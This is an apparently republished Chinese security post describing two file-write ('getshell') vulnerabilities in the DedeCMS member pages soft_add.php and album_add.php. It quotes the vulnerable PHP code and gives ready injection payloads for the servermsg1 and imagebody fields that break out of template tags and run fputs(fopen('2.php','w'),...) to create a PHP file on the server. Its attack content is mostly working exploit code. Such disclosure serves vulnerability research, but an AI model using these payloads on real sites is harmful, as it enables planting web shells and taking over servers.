好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

dedecms(织梦)鸡肋getshell - 网站安全 - 自学php

gpc off 的getshell

/member/soft_add.php

 

 156      if($softurl1!='')

 157      {

 158          $urls .= "{dede:link islocal='1' text='{$servermsg1}'} $softurl1 {/dede:link}\r\n";

 159      }

其中的$servermsg1毫无过滤的进入了$url中

构造好$servermsg1=’}x{/dede:link}{dede:yy520 name\=]‘]=0;fputs(fopen(’2.php’,'w’),’justforfun’);//]}yy520{/dede:yy520}

在plus 底下就可以生成一个2.php

当$cfg_mb_rmdown 为N的时候的getshell

member/album_add.php

92      if($form html ==1)

  93      {

  94          $imagebody = stripslashes($imagebody); //无视gpc了

  95          $imgurls .= GetCurContentAlbum($imagebody,$copysource,$litpicname);

  96          if($ddisfirst==1 && $litpic=='' && !empty($litpicname))

  97          {

  98              $litpic = $litpicname;

  99              $hasone = true;

 100          }

 101      }

 102      $info = '';

 

进入到GetCurContentAlbum

function GetCurContentAlbum($body,$rfurl,&$firstdd)

  28  {

  29      global $cfg_multi_site,$cfg_basehost,$ddmaxwidth,$cfg_basedir,$pagestyle,$cfg_mb_rmdown,$title,$cfg_ml,$cfg_user_dir;

  30      include_once (DEDEINC."/dedecollection.func.php");

  31      if(empty($ddmaxwidth)) $ddmaxwidth = 240;

  32      $rsimg = '';

  33      $basehost = "http://".$_SERVER["HTTP_HOST"];

  34      $img_array = array();

  35      preg_match_all("/(src|SRC)=[\"|'| ]{0,}(http:\/\/([^>]*)\.(gif|jpg|png))/isU", $body, $img_array);

  36      $img_array = array_unique($img_array[2]);

  37      $imgUrl = $cfg_user_dir."/".$cfg_ml->M_ID;

  38      $imgPath = $cfg_basedir.$imgUrl;

  39      if(!is_dir($imgPath."/"))

  40      {

  41          MkdirAll($imgPath,$GLOBALS['cfg_dir_purview']);

  42          CloseFtp();

  43      }

  44      $milliSecond = MyDate("ymdHis",time());

  45      foreach($img_array as $key => $value)

  46      {

  47          if(preg_match("#".$basehost."#i", $value))

  48          {

  49              continue;

  50          }

  51          if($cfg_basehost!=$basehost && preg_match("#".$cfg_basehost."#i", $value))

  52          {

  53              continue;

  54          }

  55          if(!preg_match("#^http:\/\/#i", $value))

  56          {

  57              continue;

  58          }

  59          if($cfg_mb_rmdown=='Y')

  {...........}

  

  93          else

  94          {

  95              $rsimg .= "{dede:img ddimg='$value' text='' width='0' height='0'} $value {/dede:img}\r\n";

  96          }

  97      }

  98      return $rsimg;

  99  }

构造

imagabody为

src=http://{/dede:img}{dede:yy520 name\=]‘]=0;fputs(fopen(’2.php’,'w’),’justforfun’);//]}yy520{/dede:yy520}.jpg

查看更多关于dedecms(织梦)鸡肋getshell - 网站安全 - 自学php的详细内容...

  阅读:39次